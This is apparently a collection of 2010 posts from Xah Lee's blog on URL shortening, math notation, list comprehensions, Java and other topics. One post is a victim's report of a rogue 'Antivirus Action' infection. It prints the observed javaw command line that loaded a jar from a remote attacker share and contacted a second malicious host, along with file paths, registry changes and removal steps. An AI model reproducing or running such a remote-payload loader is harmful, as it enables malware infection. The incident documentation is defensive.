URL Shortening is BAD

Perm url with updates: http://xahlee.org/js/url_shortening.html

URL Shortening is BAD

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-22

Am really annoyed with URL shorterning.

In around 2000 it's to shortern really long url with cgi-bin parameters, like this one:


, which often get cut into multiple lines in emails.

But those long urls gradually went away. The web in general don't have url with lots of “&a=b+c” etc parameters anymore. Lots of web server url rewriting tech solved that problem. However, today in 2010 there's explosion of URL shortening sites and increased use. (some blog reading indicates that there are few hundreds of such sites) At first i thought the increased use is due to a need. That is, mobile phone text messaging has a character limitation, and twitter.com made the phone texting popular to the web intermixed with microblogging idea. But not really, because as Joshua Schachter pointed out, that phones today are powerful enough to browse the web, and if there is a text limitation problem, or texting protocol, there are lots of ways to get around it. There's no reason for internet to start to use url shortening like a wild fire. People are not just shorterning long urls. But a perfectly fine url also gets encrypted thru some url shortening systematically by many web services.

I think it more has to do with marketing/SEO, and Joshua's article explains this well:

Am surprised that recently Google brought about its own url shorterning service, and isn't shy about publicity. See this Google engineer lead Matt Cutts 's blog.

I can see it is good for google, naturally, and have no objections. But can't see it as good for the whole. Google always picture itself as the good guy. They providing their own shortening service is certainly beneficial to them, since they get more juicy data about link activities, and has the potential to wipe out all others. But what's their justification in bringing out this service for public good?

The web speed, bandwidth, tech, etc are just growing and growing. Char limitation is something that is going away. URL shortening seems just to increase complexity artificially.

Was this page useful? If so, please do donate $3, thank you donors!

Photoshop Extreme Makeover (Video)

Perm url with updates: http://xahlee.org/arts/photoshop_extreme_makeover.html

Photoshop Extreme Makeover (Video)

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-22

〈Extreme (Photoshop) Makeover〉 by therebelution.

Music is 〈RIG - EPIC ORCHESTRA〉 at Source

Ugly to sexy (Extreme photoshop makeover)

The song is 〈Sexy Boy〉 by Air. amazon

The Photoshop Effect

Was this page useful? If so, please do donate $3, thank you donors!


Apple is deprecating Java!

Apple is deprecating Java! See: developer.apple.com. Quote:

Java Deprecation

As of the release of Java for Mac OS X 10.6 Update 3, the version of Java that is ported by Apple, and that ships with Mac OS X, is deprecated.

This means that the Apple-produced runtime will not be maintained at the same level, and may be removed from future versions of Mac OS X. The Java runtime shipping in Mac OS X 10.6 Snow Leopard, and Mac OS X 10.5 Leopard, will continue to be supported and maintained through the standard support cycles of those products.

Am so glad of this. Sooo glad. Death to you, Sun Microsystems, and your Java fuck. Thank you for your incredible unscrupulous marketing lies and lawsuit gaming.

12 years ago, the creator of tcl, John K Ousterhout, wrote a well known article〈Scripting: Higher Level Programming for the 21st Century〉 at Source. It is finally coming true in recent years.

Should You Declare Javascript Variable with “var”?

Variables should be declared using “var”. When declared with var, it is a variable in the current scope (e.g local to the function). If not declared, js will search the variable in outter scopes, until it reaches the global space.

Variables declared with “var” can be deleted using 「delete myvar;」, but variable not declared with “var” cannot be deleted.

So, you should always declare variable with “var”, even for global variables.

See: Javascript Basics.


Freestyle BMX (Bicycle Acrobat) videos

Perm url with updates: http://xahlee.org/vofli_bolci/bmx_freestyle.html

Freestyle BMX (Bicycle Acrobat)

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-20

bmx freestyle

The music is 〈Ante Up〉 by M.O.P. amazon

Axlepeg BMX Flatland Freestyle how to flobots handlebars

Music is: 〈Handlebars〉 By Flobots amazon

Was this page useful? If so, please do donate $3, thank you donors!

xah lee comp lang experiences

A short summary of my computer language experiences, counting only serious involvement, say, few hours a day doing real jobs:

See: Xah Lee's Computing Experience Bio.

Xah Lee poll result 2010 Oct 20

Last week's poll result:

With regards to swearing, do you prefer my articles to be:

AnswerVotes Count
True Xah Lee style; (e.g. I don't really give a flying fuck if people can't read my article due to fucking words in it. Those “constructive criticism” thinking fuckers, go study philosophy and fuck off. At times, my copious copulative expletives littered thru-out makes aliterative art, and that's the worth by itself, besides solid content behind them. (google my essay on constructive criticism)) 20 (68%)
Criticize as usual, be honest, don't overswear; some swearing conveys needed altitude.2 (6%)
Swearing distracts. I prefer less or no swearing. Maybe once in a while.4 (13%)
Try to convery the same point, with expressions that are not so offensive or confrontational. Four-letter words is never really necessary in writing.3 (10%)

Total Votes: 29

See also: The Writing Style on XahLee.org.

Add Search Box for XahLee.org

Want to add a search box to xahlee.org? You can add a html snippet to your site or blog, so you can easily search the 5 thousand articles. See code at the bottom of this page: Subscribe To XahLee.org Site Feed.


math notation abuse

Perm url with updates: http://xahlee.org/cmaci/notation/trad_math_notation.html

In the Wikipedia article Golden ratio, quote:

Two quantities a and b are said to be in the golden ratio φ if:

(a+b)/a = a/b = φ

This equation unambiguously defines φ.

This is a example of abuse of math notation.

In 「(a+b)/a = a/b = φ」, we have basically a system of equations of 3 variables. The reason someone wrote this equation to define the golden ratio, is due mostly to the abuse of the equal sign as used in traditional math notation. In fact, the equation does not make sense.

This abuse does not happen just in Wikipedia, but in just about every math textbook from professional mathematicians. (e.g. 《Visual Complex Analysis》, by Tristan Needham. amazon or my friend's 《Differential Equations, Mechanics, and Computation》 amazon)

Typically, mathematicians will just say it doesn't matter, because by context it makes it clear to humans. I disagree. I think it introduces lots of mis-understanding and garbage into our minds, especially students. The wishy-washy, ill-defined, subconscious, notions and formulas make logical analysis of math subjects difficult. Of course, mathematicians simply grew up with this, got used to it, so don't perceive any problem. They'd rather attribute the problem to the inherent difficulty of math concepts. I think that if we actually force all math notations into something similar of a formal language (in a technical sense), then many un-necessary confusion will go away, and math understanding and research will be easier and grew faster. (one historical example to illustrate this is the history of complex numbers and calculus, which took decades to overcome.)

You will realize much of these problems when you actually try to program math to computers, may it be setting up a computer based proof or writing a simple computer algebra software. For example, let's say you want to write program to draw a rectangle of golden ratio. You read about the golden ratio. You need to define it in your program. You start with the Wikipedia equation given, then immediately, you'd realize, it does not make sense at all. Because when you try to program something to the computer, the computer won't accept your wishy-washy subconscious ill-defined implicit human notions. When you actually try to program it, you'll realize lots of these issues, and in fact come out with a clear understanding of the subject, even if the subject is a basic one that you thought you knew all about it.

How to Clear or Set Proxy in Firefox and IE

Perm url with updates: http://xahlee.org/mswin/clear_proxy_in_Firefox_IE.html

How to Clear or Set Proxy in Firefox and IE

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-19


In Firefox, go to “Tools‣Options”, Advanced button at top, then “Network” tab, then Settings button.

Press Alt key if menu does not show up.

Firefox advanced network dialog

Firefox advanced network dialog.

Firefox proxy setting dialog

Firefox proxy setting dialog.

Internet Explorer (IE)?

Use menu “Tools‣Internet Options”. “Connections” tab. Click on the “LAN settings” button, then uncheck the boxes.

IE connections proxy dialog

IE connections proxy dialog.

IE connections lan settings dialog

IE connections lan settings dialog.

Was this page useful? If so, please do donate $3, thank you donors!

Antivirus Action

Perm url with updates: http://xahlee.org/mswin/Antivirus_Action.html

Antivirus Action (Virus; Malware)

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-18

Got fucked by a virus today.

I have Microsoft Security Essentials (MSE) installed, and i always keep my Windows updated, set to auto-update. I remember i just had such update yesterday.

Today, while checking on my weblog, in the referral part, i clicked and went to some image site, then clicked on another link went to this page:


(Disable Java and javascript before you go there)

Then, Java started to run. I didn't pay attention because i thought it's just some java applet. I either closed the window or went to other tabs to read. Then, something called “Antivirus Action” popped up on my desktop and in the Taskbar and is running and scanning my computer. What the fuck?

I know exactly what programs is on my computer and when they should run. I don't fucking know this “Antivirus Action” fuck. I immediately looked at my taskbar to check for my anti-virus program the Microsoft Security Essential, and it just disappears right in front of eyes. Apparently, the rogue software has closed it. I quickly went to my Process Explorer, and managed to kill the offending software. In a panic, i also disconnected my internet connection. (fearing the rogue program is starting to send emails to all my contacts or phone home to say hello.) I wasn't very quick to kill the program or disconnect my internet. The whole thing took about 5 min. The damage has already been done. (am slow partly because i also wanted to try to document what happened. i.e. the virus name, path, etc. I didn't want to simply delete it.)

When you google “Antivirus Action”, the results are all from a bunch of chat boards, most are uless, and tells you to download/buy their software to solve the problem. Fuck.

I thought there should be some sites from the big anti-virus software companies that give detailed info about virus from their database, such as Microsoft or Symantec or McAfee. But fuck, none to be found.

There are 2 useful ones i found, but basically they are trying to sell their own anti-virus software to you.

  • 〔http://www.bleepingcomputer.com/virus-removal/remove-antivirus-action〕 This one peddles Malwarebytes.
  • 〔http://www.virusremovalguru.com/?p=6489〕 This one peddles Stopzilla.

Both also tells you to download/buy THEIR software to fix the problem. Though, at least these 2 sites provides detailed, useful info.

Also, it pass Microsoft Security Essentials. If you use MSE to scan the malware, it passes right thru.

This fucking shit costed me 4 hours.

What Is It?

The “Antivirus Action” is a variant of Rogue security software. It is a malware that fucks up your computer and tells you to buy a bogus antivirus software from them.

It gets to your computer from web sites, typically porn or gaming sites. In my case, it starts from a Java applet, then it download and launch the malware.

What Does It Do?

  • Prevent you from running any program except Firefox and Internet Explorer.
  • Kills Microsoft Security Essentials and possibly other legit antivirus program running on your computer.
  • Sets a proxy in Firefox and Internet Explorer so that any browsing you do goes thru them.
  • Turns off phishing filter in Internet Explorer.
  • Change several items in your registry.

Tech Detail

Java Applet Trojan Horse

The Java app that downloads and launches it seems to be the following. I got the info from Process Explorer:

"C:\Program Files (x86)\Java\jre6\bin\javaw.exe" "-Xbootclasspath/a:C:\Program Files (x86)\Java\jre6\lib\javaws.jar;C:\Program Files (x86)\Java\jre6\lib\deploy.jar;C:\Program Files (x86)\Java\jre6\lib\plugin.jar" -classpath "C:\Program Files (x86)\Java\jre6\lib\deploy.jar" "-Djava.security.policy=file:C:\Program Files (x86)\Java\jre6\lib\security\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\Program Files (x86)\Java\jre6\bin" -Djnlpx.remove=false -Djnlpx.splashport=49942 -jar \\sittevam.com\smb\tot.avi "-Djnlpx.jvm=C:\Program Files (x86)\Java\jre6\bin\javaw.exe" "-Djnlpx.vmargs=-jar \\sittevam.com\smb\tot.avi" com.sun.javaws.Main http://mityr.com/mongo/xvd.php?i=2 none http:

Note the associates sites are: 〔sittevam.com\smb\tot.avi〕 and 〔http://mityr.com/mongo/xvd.php?i=2〕. It seems the virus program came from these sites.

The java program it launches to download the malware is this:〔c:/Users/xah/AppData/LocalLow/Sun/Java/Deployment/cache/6.0/18/2dd18312-1b1922b6.idx〕 Again, the path and filenames are randomly generated.

Here's the readable content from the java trojan horse.

HTTP/1.1 200 OK
Mon, 18 Oct 2010 12:01:47 GMT
Mon, 18 Oct 2010 12:11:31 GMT

The Malware

The offending program is at: 〔C:\Users\xah\AppData\Local\Temp\ttcagdigq\ntskovwyhsn.exe〕 Note that the file name and dir is generated randomly by the program. The file's size is “242688” bytes.

antivirus action

Antivirus Action. The file name is randomly generated.

How To Fix

I pretty much manually fixed the problem. But after reading about Malwarebytes (a anti-malware software), i decided it is actually trustworthy, so i give it a try. It is pretty good. So, i recommend you download that.

Go to http://www.bleepingcomputer.com/virus-removal/remove-antivirus-action and read that.

Manual Fix

Manual fix is actually not that hard.

  • Stop the “antivirus action” if it is still running. (use Task Manager or Process Explorer.)
  • Delete the “antivirus action” executable. Just delete the whole dir at: 〔C:\Users\xah\AppData\Local\Temp\〕. Empty trash.
  • Delete the Java applet trojan. Just delete the whole dir at: 〔c:/Users/xah/AppData/LocalLow/Sun/Java/Deployment/cache/〕.
  • Delete or reset several values in your registry. (see below)
  • Clear your proxy setting in your browser. See: How to Clear or Set Proxy in Firefox and IE.
  • Reset your system config so the program does not auto-launch when Windows starts. Press 【Win+r】 then “msconfig”. In tab “Startup”.


In Registry, you'll need to set or reset a few values. (See: Microsoft Windows Registry Tutorial.)

  • HKEY_CURRENT_USER\Software\‹random›
  • HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PhishingFilter "Enabled" = "0"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings "ProxyOverride" = ""
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings "ProxyServer" = "http="
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings "ProxyEnable" = "1"
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "‹random›.exe"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "‹random›.exe"

The above info is from bleepingcomputer.com site. However, i didn't find some of these values in my Registry. (am on Windows Vista.)

Some Malwarebytes Misc Info

The Malwarebytes writes its log at: 〔c:/Users/xah/AppData/Roaming/Malwarebytes/Malwarebytes' Anti-Malware/Logs/〕. Here's a sample log:

Malwarebytes' Anti-Malware 1.46

Database version: 4871

Windows 6.0.6002 Service Pack 2
Internet Explorer 8.0.6001.18975

2010-10-18 8:10:14 AM
mbam-log-2010-10-18 (08-10-14).txt

Scan type: Quick scan
Objects scanned: 141301
Time elapsed: 9 minute(s), 20 second(s)

Memory Processes Infected: 0
Memory Modules Infected: 0
Registry Keys Infected: 0
Registry Values Infected: 0
Registry Data Items Infected: 1
Folders Infected: 0
Files Infected: 2

Memory Processes Infected:
(No malicious items detected)

Memory Modules Infected:
(No malicious items detected)

Registry Keys Infected:
(No malicious items detected)

Registry Values Infected:
(No malicious items detected)

Registry Data Items Infected:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_ShowMyComputer (Hijack.StartMenu) -> Bad: (0) Good: (1) -> Quarantined and deleted successfully.

Folders Infected:
(No malicious items detected)

Files Infected:
C:\Users\xah\AppData\Local\Temp\0.20458013121492524.exe (Antivirus.Action) -> Quarantined and deleted successfully.
C:\Users\xah\Local Settings\Application Data\syssvc.exe (Trojan.FakeAlert) -> Quarantined and deleted successfully.

Malwarebytes screenshot.

Was this page useful? If so, please do donate $3, thank you donors!

emacs tip: capitalize/upcase replacement

How to force upcase of replacement?

In your replacement, use: 「\,(upcase \1)」. For detail, see:

Find and Replace with Emacs.

looking for emacs guest blogger

Requesting guest blog writers for emacs. If you have used emacs for few years, and better if code emacs lisp, please just send your article to me (xah@xahlee.org) and i'll post it, with links and all.

The article should be preferably technical than opinion piece or diary. For example, a short tutorial on installing and using a mode (blogging, twitter, hooking up with gmail, how to use planner, muse, intro to CEDET, etc.) It also can be some tips on commonly needed things, such as how to setup and use tags, etc.

If you are not familiar already, guest blogging has many advantages, as developed in the blogsphere community. It helps the community of the blog subject, gives readers a fresh writing style to read, saves the original blog author time, advertise for the guest author. It is practiced in the printed media for long. You can read about guest blogging here: Guest Blogging 101, from Darren Rowse.

I would like to try the guest blog idea. Give it a shot, why not?

If you haven't blogged before, here's some tips:

  • Let the article be self-contained and concrete, as much as possible. For example, instead of writing “read the instruction at xyz.com”, simply pull the code from your “.emacs” as a concrete example. Say “put the file abc in the dir 〔~/.emacs/d/〕”, instead of saying “put it in your lib path”.
  • Cover the most basic things about xyz that 90% of emacs users will need to do. Majority of emacs users are not emacs geeks and many don't know or read blogs, wiki, or reddit. (many simply web search for a problem they need to solve.)
  • Make it as simple as possible, or even write it as instructions or receipe. Make it into sections. Each section cover one thing. Each paragraph contains one idea.
  • When readers read the article, if they just spend 1 min they would have learned something. Don't make them think.
  • Don't worry about some academic correctness or formality or completeness. Readers are not dummies, they understand the context. They can read the doc for detail if they want to.

when will china open net censorship?

Perm url with updates: http://xahlee.org/Periodic_dosage_dir/chinese_net_censorship.html

Great Fire Wall, Chinese Net Censorship; When Will China Open Up Internet?

Xah Lee, 2010-10-19

Some issues on chinese censorship.

Some abbrevs used to get around:

The abbrevs are interesting because they are a mixture of: english abbrev, Pinyin, pun.

For info about chinese net censorship, see: Internet censorship in the People's Republic of China. For detail about gfw, see: Golden Shield Project.

Not related to censorship, but here's a simplified char i learned today: 拥护 = 擁護. See: 简体/繁體 字表 (Simplified/Traditional Chinese Characters List).

It would be great if chinese government would open up. Perhaps it is time to open up more?

Btw, if you are a typical american reading this: i do not support the stereotypical “freedom” and “human right” the US is condeming china, all over the mainstream presses. I consider them political propaganda. See:

(Thanks to fangzhzh for explaining the abbrevs.)

Was this page useful? If so, please do donate $3, thank you donors!


Benoit Mandelbrot died; mandelbrot set

Perm url with updates: http://xahlee.org/math/top_math_wonders.html

Xah's Top 10 Math Wonders

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-18

Benoît Mandelbrot, the mathematician who invented fractals, is dead. (1924-2010) He died of cancer. Aged 85.

Mandelset hires

the mandelbrot set.

The mandelbrot set is truely a amazing curiosity. I would rank it top 10 math curiosity in my book. If you only know highschool math, you can get a good explanation at Mandelbrot Set.

Let's see what other curiosity or such i consider in top 10 in my personal learnings of math in my life. In no particular order:


Fractals, Mandelbrot Set. The amazing part is how such system show self-similarity in such weird way and infinitely deep. Try to ask why.

Math Constants

golden ratio line

Golden Ratio

Mathematical constant. The nature of π, e, Golden ratio.

Ptolemy pentagon

Golden ratio in a pentagon.

These are simple to understand, occurs everywhere almost by magic, and their properties, as well as general nature, are elusive. Nobody really understand them. To understand them is like to understand the whole mysteries of math and philosophies of math. For example, on a non-tech aspect, one might say they are not special at all, or why isn't Sqrt[2] special too, or that they are simply arbitrary definitions in a logic system, that our perception of their curiosity, “coincidences”, complexity, are simply one particular aspect of how we perceive a simple system. But these entails the deepest philosophical questions about math.


Golden ration in icosahedron. Each rectangle has side length of golden ratio's a and b.

Cellular Automaton

Cellular Automaton (e.g. Conway's Game of Life, Langton's ant) and any such simple systems (tag system, recursive functions, ...). By Stephen Wolfram's A New Kind of Science, we learned that the properties of such system is basically unknown. This is especially interesting to pure mathematicians from symbolic logic and algorithmic (computer science) aspects. Great Software for Cellular Automata.

Dimensionality and Shape of Space

Dimensionality in math. e.g. Flatland. And also shape of space (n-manifold). It's quite amazing that you could have multi-dimensions. Instead of dealing with a single number, you deal with a array of numbers, and in this way, most math generalize to multi-dimensions. Then, many special concepts in higher dimensions arise (such as Orientability), and what happens to many theories in higher dimensions. I hardly understand this. I always wanted to know, a simple list of all such properties and concepts that does not exist in lower dimensions.

See also: Reading Notes on The Shapes of Space, and non-orientable surfaces and projective plane at: Gallery of Famous Surfaces.

Non-Euclidean Geometry

non-euclidean geometry. Not related, but also interesting is Gauss's Theorema Egregium and Euler characteristic (χ = V - E + F), and Gauss–Bonnet theorem, that connects metric aspects of a surface to the topological aspect. I don't really understand this.

Complex Number

Complex number. Perhaps best embodied in this Euler's identity “e^(i*pi) + 1 = 0” (but i much prefer E^(I*x) == Cos[x]+I*Sin[x]). Particularly interesting is the Sin function. And the subsequent so-called “complex analysis” or “functional analysis”, where, most real-functions are generalized to the complex number field. (See: Geometric Transformation on the Plane.) I always thought, complex numbers are fantastic because they are the algebraic closure, signifying certain ultimate perfection in generalization of real number. However, as i learned by tidbits over the years, complex number is rather just a special construction and isn't that important, useful, or general, in respect to the whole math (e.g. compared to dimensionality; symbolic logic, universal algebra, math constants, or linear algebra or calculus).

Group Theory and Universal Algebra, Symbolic Logic

The invention of group theory, and later modern algebra, Universal algebra, that studies structural aspects of numbers.

When i first learned group theory, i find it quite amazing how it captures the number 0 and 1. They are identities by different operations, are the 2 pillars of a number system. From which, you have inverses. Also, it is quite amazing that group theory in some sense, or by definiton, is simply a theory about symmetry! Symmetry is almost a non-descript, visual and perceptual phenomenon, of patterns, but amazingly, when you try to get the essence of it, it is symbols and permutations — group theory! (See: Introduction To Symmetry)

Then, group theory got expanded to modern algebra, of rings and fields. I never find anything attractive about rings and fields or other more complex structures. But i do find the direction of reduction fascinating. Monoids, semigroup, magma, and the whole systematic investigation of their system, e.g. universal algebra.

On the other hand, computation leads to studies of algorithms. Even groups and algorithms are both descrete, but they represent i think a deep question in math, not sure if there's a name. Namely: What Is vs How To. And much studies of logic invest these connections, even at philosophical level.

Cantor's Set Theory

Cantor's set theory, that infinite sets can be compared. When i first learned this, it sent a chill down my spine. Transfinite number. Algebraic numbers, and the fact that most real numbers are non-algebraic numbers.

Another item sent a chill down my spine is when i first learned is the Fundamental theorem of calculus.

Was this page useful? If so, please do donate $3, thank you donors!

What's List Comprehension and Why is it Considered Harmful?

Perm url with updates: http://xahlee.org/comp/list_comprehension.html

What's List Comprehension and Why is it Harmful?

Xah Lee, 2010-10-14

This page explains what is List Comprehension (LC), with examples from several languages, with my opinion on why the jargon and concept of “list comprehension” are unnecessary, redundant, and harmful to functional programing.

What is List Comprehension?

Here's a example of LC in python:

S = [2*n for n in range(0,9) if ( (n % 2) == 0)]
print S
# prints [0, 4, 8, 12, 16]

It generates a list from 0 to 9, then remove the odd numbers by 「( (n % 2) == 0)」, then multiply each element by 2 in 「2*n」, then returns a list.

Python's LC syntax has this form:

[myExpression for myVar in myList if myPredicateExpression]

In summary, it is a special syntax for generating a list, and allows programers to also filter and apply a function to the list, but all done using expressions.

In functional notation, list comprehension is doing this:

map( f, filter(list, predicate))

Other languages's LC are similiar. Here are some examples from Wikipedia. In the following, the filter used is 「x^2 > 3」, and the 「2*x」 is applied to the result.


s = [ 2*x | x <- [0..], x^2 > 3 ]


seq { for x in 0..100 do if x*x > 3 then yield 2*x } ;;


[? 2 * x | x <- 0 -- max_int ; x * x > 3 ?];;


(take 20 (for [x (iterate inc 0) :when (> (* x x) 3)] (* 2 x)))

Common Lisp

(loop for x from 1 to 20 when (> (* x x) 3) collect (* 2 x))


S = [2*X || X <- lists:seq(0,100), X*X > 3].


val s = for (x <- Stream.from(0); if x*x > 3) yield 2*x

Here's how Wikipedia explains List comprehension. Quote:

A list comprehension is a syntactic construct available in some programming languages for creating a list based on existing lists.

The following features makes up LC:

  • (1) A flat list generator, with the ability to do filtering and applying a function.
  • (2) Usually, a special syntax in the language.
  • (3) The syntax uses expressions, as opposed to using functions as parameters.

Why is List Comprehension Harmful?

• List Comprehension is a bad jargon; thus harmful to functional programing or programing in general. It hampers communication, and encourage mis-understanding.

• List Comprehension is a redundant concept in programing. What List Comprehension does is simply 「map(func, filter(list, predicate))」.

• The special syntax of List Comprehension as it exists in many langs, are not necessary. If a special purpose function for it is preferred, then it can simply be a plain function, e.g 「LC(function, list, predicate)」.

Map + Filter = List Comprehension Semantics

The LC's semantics is not necessary. A better way and more in sync with functional lang spirit, is simply to combine plain functions:

map( f, filter(list, predicate))

Here's the python syntax:

map(lambda x: 2*x , filter( lambda x:x%2==0, range(9) ) )
# result is [0, 4, 8, 12, 16]

In Mathematica, this can be written as:

Map[ #*2 &, Select[Range@9, EvenQ]]

In Mathematica, a arithemetic operation can be applied to list directely without using Map explicitly, so the above can be written as:

Select[Range@9, EvenQ] * 2

in my coding style, i usually write it in the following syntactically equivalent forms:

(#*2 &) @ (Select[#, EvenQ]&) @ Range @ 9


9 // Range  // (Select[#, EvenQ]&)  // (#*2 &)

In the above, we sequence functions together, as in unix pipe. We start with 9, then apply “Range” to it to get a list from 1 to 9, then apply a function that filters out odd numbers, then we apply a function to multiply each number by 2. The “//” sign is a postfix notation, analogous to bash's “|”, and “@” is a prefix notation that's the reverse of “|”.

(See: Short Intro of Mathematica For Lisp Programers.)

List Comprehension Function Without Special Syntax

Suppose we want some “list comprehension” feature in a functional lang. Normally, by default this can be done by

 map(func, filter(inputList, Predicate))

but perhaps this usage is so frequent that we want to create a new function for it, to make it more convenient, and perhaps easier to make the compiler to optimize more. e.g.

 LC(func, inputList, Predicate)

this is about whether a lang should create a new convenient function that otherwise require 3 function combinations. Common Lisp vs Scheme Lisp are the typical example of extreme opposites.

Note, there's no new syntax involved.

Suppose, someone argues that

For instance, this is far more convenient:

[x+1 for x in [1,2,3,4,5] if x%2==0]

than this:

map(lambda x:x+1,filter(lambda x:x%2==0,[1,2,3,4,5]))

How about this:

 LC(func, inputList, P)

compared to

[func for myVar in inputList if P]

the functional form is:

  • Shorter
  • Not another idiosyncratic new syntax

Issues and Decisions on Creating a New Function

Suppose we decided that generating list by a filter is so frequently used that it worth it to create a new func for it.

 LC(func, inputList, Predicate)

Now, in functional langs, in general a design principle is that you want to reduce the number of function unless you really need it. Because, any combination of list related functions could potentially be a new function in your lang. So, if we really think LC is useful, we might want to generalize it. e.g. in

 LC(func, inputList, Predicate)

is it worthwhile say to add a 4th param, that says return just the first n? (here we presume the lang doesn't support list of infinite elements) e.g.

 LC(func, inputList, Predicate, n)

what about partition the list to m sublists?

 LC(func, inputList, Predicate, n, m)

what about actually more generalized partition, by m sublist then by m1 sublist then by m2 sublist?

 LC(func, inputList, Predicate, n, list(m,m1,m2,...))

what about sorting? maybe that's always used together when you need a list?

 LC(func, inputList, Predicate, n, list(m,m1,m2,...), sortPredcate)

what if actually frequently we want LC to map parallel to branches? e.g.

 LC(func, inputList, Predicate, n, list(m,m1,m2,...), sortPredcate,

what if ...

you see, each of these or combination of these can be done by default in the lang by sequencing one or more functions (i.e. composition). But when we create a new function, we really should think a lot about its justification, because otherwise the lang becomes a bag of functions that are non-essential, confusing.

So the question is, is generating a list really that much needed? And, if so, why should we create a special syntax such as 「[ expr for var in list if P]」 than 「 LC(func, list, P)」?

Also note, that LC is not capable of generating arbitrary nested list. For a example of a much powerful list generator that can generate arbitrary nested tree, see:

For those who find imperative lang good, then perhaps “list comprehension” is good, because it adds another idiosyncratic syntax to the lang, but such is with the tradition of imperative langs. The ad hoc syntax aids in reading code by various syntactical forms and hint words such as “[... for ... in ...]”.

Bad Jargon and How To Judge a Jargon

Someone wrote:

The term “list comprehension” is intuitive, it's based on math set notation.

The jargon “list comprehension” is opaque. It hampers communication and increases misunderstanding. A better name is simply “list generator”.

What's your basis in saying that “List Comprehension” is intuitive? Any statics, survey, research, references?

To put this in context, are you saying that lambda, is also intuitive? “let” is intuitive? “for” is intuitive? “when” is intuitive? I mean, give your evaluation of some common computer language terminologies, and tell us which you think are good and which are bad, so we have some context to judge your claim.

For example, let us know, in your view, how good are terms: currying, lisp1 lisp2, tail recursion, closure, subroutine, command, object. Or, perhaps expound on the comparative merits and meaning on the terms module vs package vs add-on vs library. I would like to see your view on this with at least few paragraphs of analysis on each. If you, say, write a essay that's at least 1k words on this topic, then we all can make some judgment of your familiarity and understanding in this area.

Also, “being intuitive” is not the only aspect to consider whether a term is good or bad. For example, emacs's uses the term “frame”. It's quite intuitive, because frame is a common english word, everyone understands. You know, door frame, window frame, picture frame, are all analogous to emacs's “frame” on a computer. However, by some turn of history, in computer software we call such as “window” now, and by happenstance the term “window” also has a technical meaning in emacs, what we call “split window” or “frame” today. So, in emacs, the term “frame” and “window” is confusing, because emacs's “frame” is what we call “window”, while emacs's “window” is what we call a frame. So here, is a example, that even when a term is intuitive, it can still be bad.

As another example, common understanding by the target group the term is to be used is also a important aspect. For example, the term “lambda”, which is a name of greek char, does not convey well what we use it for. The word's meaning by itself has no connection to the concept of function. The char happens to be used by a logician as a shorthand notation in his study of what's called “lambda calculus” (the “calculus” part is basically 1700's terminology for a systematic science, especially related to mechanical reasoning). However, the term “lambda” used in this way in computer science and programing has been long and wide, around 50 years in recent history (and more back if we trace origins). So, because of established use, here it may decrease the level of what we might think of it as a bad jargon, by the fact that it already become a standard usage or understanding. Even still, note that just because a term has establish use, if the term itself is very bad in many other aspects, it may still warrant a need for change. For one example of a reason, the argon will be a learning curve problem for all new generations.

You see, when you judge a terminology, you have to consider many aspects. It is quite involved. When judging a jargon, some question you might ask are:

• Does the jargon convey its meaning by the word itself? (i.e. whether the jargon as a word is effective in communication)

• How long has been the jargon in use?

• Do people in the community understand the jargon? (e.g. more scientifically: what percentage?)

Each of these sample questions can get quite involved. For example, it calls for expertise in linguistics (many sub-fields are relevant: pragmatics, history of language, etymology), practical experience in the field (programing or computer science), educational expertise (e.g. educators, professors, programing book authors/teachers), scientific survey, social science of communication...

Also, you may not know, there are bodies of professional scientists who work on terminologies for publication. It is not something like “O think it's good, becus it is intuitive to me.”.


Thanks to w_a_x_man for this ruby code:

(0..9).select{|n| n.even?}.map{|n| 2*n}

Not list comprehension since it does not use a special syntax. But it captures the 「map(f, filter(list,predicate))」 in ruby style.

Was this page useful? If so, please do donate $3, thank you donors!

Effect of Meth

Perm url with updates: http://xahlee.org/funny/effect_of_meth.html

Funny “Effect of Meth” Videos

Don't Do It - Georgia Meth Project

Now, this one is funny.

One comment said: “I clicked because I thought it would show boobs”. Actually, me too. lol.

The Effects Of Crystal Meth by Mike Çota

This one is even funnier.

Nice song too. The song is Elektro (Outwork Mix) By Outwork Feat. Mr. Gee. amazon.

Professor Victor Mair and 肏 (fuck)

Perm url with updates: http://xahlee.org/Periodic_dosage_dir/bangu/Victor_Mair_and_fuck.html

Professor Victor Mair and 肏 (Fuck)

Xah Recommends:
Amazon Kindle. Read books under the sun. Review

Xah Lee, 2010-10-17

There's is a guy, named Victor H Mair, a linguist who specialize in Chinese, who also write blogs for the Language Log (a popular blog on linguistics). As i've read Victor's posts, he often attacks China with USA ideology. His posts is offensive to me.

Today, he posted a blog (here: Source), and went about his politically covered insults. In the article, it was talking about what'd the best character that represent chinese. (a theme from another article on the web.) The character discussed about is “和”, meaning: peace, harmony, and the conjunction “and”. He attacks it, calling it chinese propaganda, and suggests that the best char should be a made up char meaning noodle. (the char is not in UNICODE, but can be seen here: Biáng biáng noodles)

Here's my response, posted as a comment.

It should be 肏 (cao4).

The word 肏, happens to be made up of 2 independent words. The top is 入 (ru4), meaning “enter”. The bottom is 肉 (ruo4), meaning “flesh”.

When a western sinologist proposes that the best chinese char to represent china is a made up char, i think the proper argument against is 肏.

I like it because it represents a fundamental activity of human animals, the candor of the writing system, and is directly connected to love. I think it is compatible with the candidate 和 (harmony) too. In juxtaposition, we have 肏和 (harmony by fuck), or 和肏 (fuck together). The latter signify working together in harmony. The former signify a biologically based way to make peace — a true racial harmony.

